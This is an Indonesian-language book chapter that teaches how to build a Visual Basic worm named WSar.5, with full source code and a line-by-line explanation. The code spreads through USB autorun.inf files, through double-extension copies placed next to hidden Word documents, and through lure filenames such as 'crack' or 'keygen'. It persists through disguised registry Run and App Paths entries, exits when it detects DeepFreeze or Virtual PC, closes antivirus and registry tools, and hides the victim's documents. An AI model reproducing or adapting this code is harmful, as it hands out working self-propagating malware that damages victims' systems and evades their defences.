W
orm ini bernama WSar.5 (worm dasar 5), dengan trik launcher yang menggunakan metode program aliases. Kare-na trik sederhaKare-na ini tergolong trik baru dan tidak banyak digunakan, sehingga akan mempersulit proses analisa bahkan untuk seorang advanced user sekalipun.Selain itu worm dengan cerdiknya tidak akan bekerja apabila pada system komputer target, worm mendeteksi keberadaan program DeepFreeze atau merupakan suatu system komputer maya dari pro-gram Virtual PC, dan hal ini juga akan mempersulit proses analisa. Melalui WSar.5 penulis akan mendemonstrasikan metode yang digu-nakan worm Pesin untuk menonaktifkan program Registry Editor dan telah penulis kembangkan sehingga juga akan menonaktifkan program lain seperti Registrar Lite, System Mechanic, dan registry utility lain-nya.
Kemudian penulis juga mengembangkan dan mendemonstrasikan metode yang digunakan worm Kangen untuk menonaktifkan program Registry Editor dengan langsung menutupnya, tetapi karena untuk menonaktifkan program Registry Editor sudah menggunakan metode yang digunakan oleh worm Pesin maka penulis akan mengaplikasikan-nya pada program lain, seperti program informasi startup dan aplikasi antivirus.
Bab 11. Worm WSar.5
Worm ini memiliki ciri khas worm di masa lalu, dengan berusaha memenuhi worm pada disket, sekaligus memiliki ciri khas worm di masa sekarang, yang dilengkapi rutin untuk menulari usb disk serta membuat file konfigurasi yang secara otomatis akan mengeksekusi file worm apabila usb disk tersebut terhubung pada suatu system yang mengijinkan metode autorun.
11.1 ALGORITMA
WSar.5 memiliki rutin-rutin yang akan melakukan tindakan sebagai berikut:
1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer
2. Kemudian Worm melakukan pemeriksaan keberadaan program DeepFreeze dan Virtual PC. Jika ditemukan maka worm secara otomatis mengakhiri proses file utama.
3. Worm menyembunyikan aplikasi file worm dari task list
4. Saat menginfeksi suatu system komputer, worm akan membuat salinan file utama ke direktori tertentu, kemudian memanipulasi registry dengan membuat program aliases yang mengarah kepada file salinan tersebut dan menambahkan registry run yang mengarah pada program aliases yang dibuat sebelumnya. Terakhir mema-nipulasi beberapa nilai registry dengan tujuan menjaga agar file System dan Hidden tetap tidak terlihat pada Windows Explorer 5. Worm secara otomatis akan menonaktifkan aplikasi yang memiliki
kata "REG" pada title-nya, seperti Registry Editor, Registrar Lite dan lain sebagainya. Worm juga akan langsung menutup aplikasi yang pada title-nya mengandung kata "vir, av, safe, start, process, spy, autoruns, hijack, patrol, alarm, task, config, folder option, system, properties, watson, remov, scan, kill"
6. Dampak lain yang ditimbulkan adalah setiap 5 menit secara oto-matis seluruh jendela aplikasi yang terbuka akan di minimize pada taskbar
Bab 11 Worm WSar.5
7. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.5 Ada Pada Komputer Anda", kemudian menambahkan atribut System, Hidden dan Read only pada setiap file yang ada pada folder My Documents, sehingga file tersebut tidak akan terli-hat oleh user.
11.2 PEMROGRAMAN
Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'WSar.5’
Tambahkan 4 buah object Timer, 2 buah object TextBox, 1 buah object DriveListBox dan 3 buah Module, kemudian atur properti untuk masing-masing object tersebut sebagai berikut:
Properti object Form1
Jenis Nilai Keterangan
Name frmWSar5 Mengatur nama form menjadi frmWSar5
Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.5 menggunakan icon winzip.ico ShowInTaskbar False Tidak menampilkan form pada taskbar
Visible False Tidak menampilkan form pada layar.
BorderStyle None Tidak memberikan garis tepi pada form ControlBox False Tidak menggunakan control box
Properti object Timer1
Jenis Nilai Keterangan
Name tmrDisableWindow Mengatur nama Timer menjadi tmrDisableWindow
Enable True Pastikan Timer akan aktif saat form di-load
Interval 500 Setiap instruksi pada procedure Timer
Bab 11. Worm WSar.5
Properti object Timer2
Jenis Nilai Keterangan
Name tmrIseng Mengatur nama Timer menjadi tmrIseng Enable True Pastikan Timer akan aktif saat form di-load Interval 1000 Setiap instruksi pada procedure Timer akan
dieksekusi setiap 1 detik
Properti object Timer3
Jenis Nilai Keterangan
Name tmrSpreading Mengganti nama Timer dari Timer3 menjadi tmrSpreading
Enable True Pastikan Timer akan aktif saat form di-load Interval 5000 Setiap instruksi pada procedure Timer akan
dieksekusi setiap 5 detik
Properti object Timer4
Jenis Nilai Keterangan
Name tmrAntiDestroyer Mengatur nama Timer menjadi tmrAntiDe-stroyer
Enable True Pastikan Timer akan aktif saat form di-load Interval 500 Setiap instruksi pada procedure Timer akan
dieksekusi setiap setengah detik
Properti object Text1
Jenis Nilai Keterangan
Bab 11 Worm WSar.5
Properti object Text2
Jenis Nilai Keterangan
Name txtPath2 Mengatur nama TextBox menjadi txtPath2
Properti Module1
Jenis Nilai Keterangan
Name mdlMinimize Mengatur nama module menjadi mdlMinimize
Properti Module2
Jenis Nilai Keterangan
Name mdlRegistryAPI Mengatur nama module menjadi mdlReg-istryAPI
Properti Module3
Jenis Nilai Keterangan
Name mdlWinForce Mengatur nama module menjadi mdlWin-Force
Ketik kode program berikut ini pada module mdlMinimize:
Private Declare Function FindWindow Lib "user32" Alias _ "FindWindowA" (ByVal lpClassName As String, ByVal _ lpWindowName As String) As Long
Private Declare Function PostMessage Lib "user32" Alias _ "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Long) As Long Private Const WM_COMMAND As Long = &H111
Private Const MIN_ALL As Long = 419 Private Const MIN_ALL_UNDO As Long = 416 Public Sub MinimizeAll()
Dim lngHwnd As Long
lngHwnd = FindWindow("Shell_TrayWnd", vbNullString) Call PostMessage(lngHwnd, WM_COMMAND, MIN_ALL, 0&) End Sub
Bab 11. Worm WSar.5
Public Sub RestoreAll() Dim lngHwnd As Long
lngHwnd = FindWindow("Shell_TrayWnd", vbNullString) Call PostMessage(lngHwnd, WM_COMMAND, _
MIN_ALL_UNDO, 0&) End Sub
Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4, kemudian ketik kode program berikut ini pada module mdlWinForce:
Private Declare Function PostMessage Lib "user32" Alias _ "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Long) As Long Private Declare Function EnumWindows& Lib "user32" (ByVal _ lpEnumFunc As Long, ByVal lParam As Long)
Private Declare Function GetWindowText Lib "user32" Alias _ "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As _ String, ByVal cch As Long) As Long
Private Declare Function IsWindowVisible& Lib "user32" (ByVal _ hwnd As Long)
Private Declare Function GetParent& Lib "user32" (ByVal hwnd As _ Long)
Private Declare Function EnableWindow Lib "user32" (ByVal hwnd _ As Long, ByVal fEnable As Long) As Long
Dim sPattern As String, hFind As Long Const WM_CLOSE = &H10
Private Function EnumWinProc(ByVal hwnd As Long, ByVal _ lParam As Long) As Long
Dim k As Long, sName As String
If IsWindowVisible(hwnd) And GetParent(hwnd) = 0 Then sName = Space$(128)
k = GetWindowText(hwnd, sName, 128) If k > 0 Then
sName = Left$(sName, k)
If lParam = 0 Then sName = UCase(sName) If sName Like sPattern Then
hFind = hwnd EnumWinProc = 0 Exit Function End If End If End If EnumWinProc = 1 End Function
Private Function WinFind(ByVal sWild As String, Optional ByVal _ bMatchCase As Boolean = True) As Long
sPattern = sWild
If Not bMatchCase Then sPattern = UCase(sPattern) EnumWindows(AddressOf EnumWinProc, bMatchCase)
Bab 11 Worm WSar.5 Function WinQuit(ByVal WindowsTitle As String)
On Error Resume Next hFind = 0
Dim wincap As Long Dim rtnval As Long
wincap = WinFind("*" & WindowsTitle & "*", False) rtnval = PostMessage(wincap, WM_CLOSE, vbNull, vbNull) End Function
Function WinAble(ByVal WindowsTitle As String, ByVal value As Boolean) hFind = 0
On Error Resume Next Dim wincap As Long Dim rtnval As Long
wincap = WinFind("*" & WindowsTitle & "*", False) rtnval = EnableWindow(wincap, value)
End Function
Ketik kode program berikut ini pada object frmWSar5:
'WSar.5 by Achmad Darmal
'Tarakan, Kalimantan Timur - Indonesia Option Explicit On
Private Declare Function CopyFile Lib "kernel32" Alias _ "CopyFileA" (ByVal lpExistingFileName As String, ByVal _ lpNewFileName As String, ByVal bFailIfExists As Long) As Long Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long
Private SF As String * 255
Private Declare Function GetDriveType Lib "kernel32" Alias _ "GetDriveTypeA" (ByVal nDrive As String) As Long Const DRIVE_CDROM = 5
Const DRIVE_FIXED = 3 Const DRIVE_RAMDISK = 6 Const DRIVE_REMOTE = 4 Const DRIVE_REMOVABLE = 2 Private Sub Form_Load()
If App.PrevInstance = True Then End
If Len(Dir$("c:\dfinstall.log")) <> 0 Then End
If Len(Dir$(SpecialFolder(0) & "\cntx\vpchelp.exe")) <> 0 _ Then End
App.TaskVisible = False Call InfectSystem()
If App.Path = "A:\" Or App.Path = "B:\" Then End End Sub
Bab 11. Worm WSar.5
Private Sub InfectSystem() On Error Resume Next Dim MainFolder As String
MainFolder = SpecialFolder(0) & "\Config" MkDir(MainFolder)
CopyFile(WormFile, MainFolder & "\" & "system32.exe", False) SetAttr(MainFolder & "\" & "system32.exe", vbHidden + vbSystem _ + vbReadOnly)
CreateKey("HKEY_LOCAL_MACHINE\Software\Microsoft\W" & _ "indows\CurrentVersion\App Paths\LoadPowerProfile.EXE") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\App Paths\LoadPowerProfile.EXE", _ "", MainFolder & "\" & "system32.exe")
SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", "LoadPowerProfile", _ "LoadPowerProfile Rundll32.exe") SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", 2) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "HideFileExt", 1) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "SuperHidden", 1) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "ShowSuperHidden", 0) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "ClassicViewState", 0) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\CabinetState", _ "FullPath", 1) End Sub
Private Sub PayLoad() On Error Resume Next Dim UserDoc As String Dim eks As Integer
UserDoc = GetStringValue("HKEY_CURRENT_USER\Softwa" & _
"re\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", _ "Personal")
If Len(Dir$(UserDoc & "\*.doc")) <> 0 Then Shell("attrib +h +s +r " & UserDoc & "\*.doc") End If
End Sub
Private Sub tmrAntiDestroyer_Timer() On Error Resume Next
WinQuit("vir") WinQuit("av") WinQuit("safe") WinQuit("start") WinQuit("process")
Bab 11 Worm WSar.5 WinQuit("autoruns") WinQuit("hijack") WinQuit("patrol") WinQuit("alarm") WinQuit("task") WinQuit("config") WinQuit("folder option") WinQuit("system") WinQuit("properties") WinQuit("watson") WinQuit("remov") WinQuit("scan") WinQuit("kill") End Sub
Private Sub tmrDisableWindow_Timer() On Error Resume Next
WinAble("REG", False) End Sub
Private Sub tmrIseng_Timer() On Error Resume Next
If (Right(Minute(Now), 1) = 5 Or Right(Minute(Now), 1) = 0) And _ Second(Now) = 13 Then
Call MinimizeAll() End If
If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad()
MsgBox("WSar.5 Ada Pada Komputer Anda", vbExclamation) End If
End Sub
Private Function SpecialFolder(ByVal value) On Error Resume Next
Dim FolderValue As String If value = 0 Then
FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If
If value = 1 Then
FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If
If Right(FolderValue, 1) = "\" Then
FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If
SpecialFolder = FolderValue End Function
Private Sub tmrSpreading_Timer() On Error Resume Next
Dim filenya As String Dim NamaCantik As String Dim NamaAwal(10) As String NamaAwal(0) = "crack" NamaAwal(1) = "serial" NamaAwal(2) = "full"
Bab 11. Worm WSar.5 NamaAwal(3) = "freeware" NamaAwal(4) = "tutorial" NamaAwal(5) = "software" NamaAwal(6) = "e-book" NamaAwal(7) = "keygen" NamaAwal(8) = "service pack" NamaAwal(9) = "update" Randomize()
Dim NamaTengah(20) As String NamaTengah(0) = "winamp" NamaTengah(1) = "winzip" NamaTengah(2) = "deepfreeze" NamaTengah(3) = "adobe reader" NamaTengah(4) = "vmware" NamaTengah(5) = "mirc" NamaTengah(6) = "kazaa" NamaTengah(7) = "transtool" NamaTengah(8) = "acdsee" NamaTengah(9) = "softice" NamaTengah(10) = "tweak ui" NamaTengah(11) = "alcohol 120%" NamaTengah(12) = "getright" NamaTengah(13) = "flash player" NamaTengah(14) = "winimage" NamaTengah(15) = "webshoot" NamaTengah(16) = "pdf factory" NamaTengah(17) = "shio" NamaTengah(18) = "horoskop" NamaTengah(19) = "zodiak" Randomize()
txtPath.Text = NamaAwal(Int(Rnd * 10)) & " " & NamaTengah(Int _ (Rnd * 20)) & " " & Year(Now) + 1
NamaCantik = txtPath.Text & ".exe" Dim FolderDocu As String
Dim FirstFile As String Dim FullDocu As String
FolderDocu = GetStringValue("HKEY_CURRENT_USER\Soft" & _
"ware\Microsoft\Windows\CurrentVersion\Explorer\Shell Fol" & _ "ders", "Personal")
txtPath.Text = FolderDocu
txtPath2.Text = Dir(txtPath.Text & "\*.doc") FullDocu = txtPath.Text & "\" & txtPath2.Text FirstFile = Left(FullDocu, (Len(FullDocu) - 4)) If Len(txtPath2.Text) > 4 Then
SetAttr(FullDocu, vbHidden)
CopyFile(App.Path & "\" & App.EXEName & ".exe", FirstFile & _ ".zip .exe", False)
SetAttr(FirstFile & ".zip .exe", vbNormal) End If
Bab 11 Worm WSar.5 If GetDriveType(Drive1.List(i) & "\") = 2 Then
If Len(Dir$(Drive1.List(i) & "\autorun.inf")) = 0 Then CopyFile(WormFile, Drive1.List(i) & "\SETUP.EXE", False) SetAttr(Drive1.List(i) & "\SETUP.EXE", vbReadOnly) filenya = Drive1.List(i) & "\autorun.inf"
Open filenya For Output As #1 Print #1, "[autorun]" Print #1, "OPEN=SETUP.EXE" Close(1)
SetAttr(Drive1.List(i) & "\autorun.inf", vbReadOnly) End If
End If Next i
If Second(Now) < 6 Then
FileCopy(WormFile, "a:\" & NamaCantik) End If
End Sub
Private Function WormFile() Dim WPath, WName As String WPath = App.Path
If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If
WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
Berikut penjelasan tentang kode program:
Diawali dengan beberapa pendeklarasian function API, yang ber-guna untuk mendapatkan direktori Windows dan direktori System Windows. Saat form di-load, worm memeriksa file "c:\dfinstall.log" yang menandakan keberadaan program DeepFreeze dan jika ternyata berhasil ditemukan maka worm akan mengakhiri proses file utama, demikian pula dengan program Virtual PC, worm akan memeriksa file yang secara default adalah "c:\windows\cntx\vpchelp.exe".
Procedure juga menyembunyikan proses dari taskbar, memanggil pro-cedure InfectSystem, dan mengakhiri proses jika ternyata file utama berada pada disket.
Pada procedure InfectSystem worm membuat salinan file utama ke suatu direktori yang secara default berada di "c:\windows\config" kemudian memanipulasi registry dengan menambahkan key HKEY_ LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVer-sion\App Paths\LoadPowerProfile.EXE dengan value yang mengarah
Bab 11. Worm WSar.5
kepada file salinan tersebut dan menambahkan registry run dengan nama 'LoadPowerProfile’ dan value "LoadPowerProfile Rundll32.exe". Sebenarnya untuk value bisa menggunakan "LoadPowerProfile" saja, sengaja penulis tambahkan string "Rundll32.exe" dibelakangnya yang merupakan suatu file system Windows, dengan harapan dapat menge-coh penganalisa worm apabila akhirnya berhasil mengakses registry. Terakhir memanipulasi beberapa nilai registry dengan tujuan men-jaga agar file System dan Hidden tetap tidak terlihat pada Windows Explorer.
Procedure PayLoad pada WSar.5 akan terlihat lebih berbahaya, karena worm ini terlihat seperti menghapus seluruh file yang ada pada folder My Documents, namun sesungguhnya worm hanya mengatur semua file yang ada pada folder tersebut menjadi Hidden, System dan Read only yang tidak akan terlihat melalui Windows Explorer atau kotak dialog Open Documents.
Timer tmrAntiDestroyer akan memanggil function WinQuit pada module mdlWinForce dengan menutup aplikasi yang pada title-nya mengandung kata vir, av, safe, start, process, spy, autoruns, hijack, patrol, alarm, task, config, folder option, system, properties, watson, remov, scan dan kill.
Timer tmrDisableWindow akan memanggil function WinAble pada module mdlWinForce dengan menonaktifkan mouse dan keyboard pada aplikasi yang title-nya mengandung string "REG".
Timer tmrIseng akan memanggil function MinimizeAll pada module mdlMinimize dengan me-minimize semua jendela aplikasi yang aktif setiap 5 menit, dan jika tanggal dan bulan sekarang adalah 13 Oktober maka secara otomatis mengeksekusi procedure PayLoad, kemudian menampilkan sebuah kotak pesan dengan isi pesan "WSar.5 Ada Pada Komputer Anda".
Procedure tmrSpreading_Timer akan membuat data array NamaAwal sebanyak 10 dan NamaTengah sebanyak 20. Worm kemudian akan menggunakan nama acak dan menggabungkan kedua data tersebut untuk dijadikan nama file worm yang baru.
Bab 11 Worm WSar.5
Worm juga menambahkan bilangan tahun yang akan datang, sehingga apabila tahun sekarang adalah 2008 maka nilainya menjadi 2009, lihat contoh nama file berikut ini:
1. crack deepfreeze 2009.exe 2. freeware transtool 2009.exe 3. full softice 2009.exe
Procedure tmrSpreading_Timer kemudian mengatur nilai variabel FolderDocu dengan path My Documents yang didapatkan dari nilai registry, kemudian mengatur nilai properti Text pada txtPath dengan nilai yang sama pada variabel FolderDocu, mengatur nilai properti Text pada txtPath2 dengan suatu nilai berupa nama file dokumen Microsoft Word yang didapatkan dari function DIR dengan data dari nilai properti Text pada txtPath dan menambahkannya dengan string ".doc" sebagai ekstensinya, kemudian mengatur nilai variabel FullDocu dengan peng-gabungan nilai Text pada txtPath dan txtPath2, mengatur nilai variabel FirstFile menjadi nilai pada variabel FullDocu dengan terlebih dahulu menghilangkan 4 karakter disebelah kanan yang merupakan ekstensi file.
Jika jumlah karakter Text pada txtPath2 lebih besar dari 4, yang artinya ada file dokumen ditemukan maka procedure mengatur atribut file yang ada pada nilai variabel FullDocu menjadi Hidden, kemudian membuat salinan worm ke direktori tersebut dengan nama yang sama dan disertai dengan ekstensi ganda ".zip .exe" sekaligus mengatur atribut file salinan tersebut menjadi normal.
Selain itu worm akan membuat file konfigurasi AutoRun dengan nama file "autorun.inf" dan "setup.exe" disetiap removable disk (termasuk USB Flash Disk) yang terhubung, dengan tujuan agar removable disk yang terinfeksi secara otomatis akan menulari system komputer yang terhubung dengannya kemudian.
Jika detik sekarang lebih kecil dari 6 maka procedure membuat salinan worm ke drive A dengan nama file yang diambil secara acak.
Module mdlMinimize memanfaatkan function FindWindow dan PostMessage dari library user32, dengan membuat suatu function yang mengirimkan instruksi pada semua jendela aplikasi yang terbuka agar ter-minimize atau ter-maximize.
Bab 11. Worm WSar.5
Module WinForce memanfaatkan function API PostMessage, Enum-Windows, GetWindowText, EnableWindow, GetParent dan IsWin-dowVisible dari library user32, dengan membuat suatu function yang memeriksa caption setiap jendela aplikasi yang terbuka, dan dari cap-tion yang ditentukan memungkinkan untuk menutup file tersebut atau membuatnya menjadi aktif/enable atau tidak aktif/disable.
Bab 12. Worm WSar.6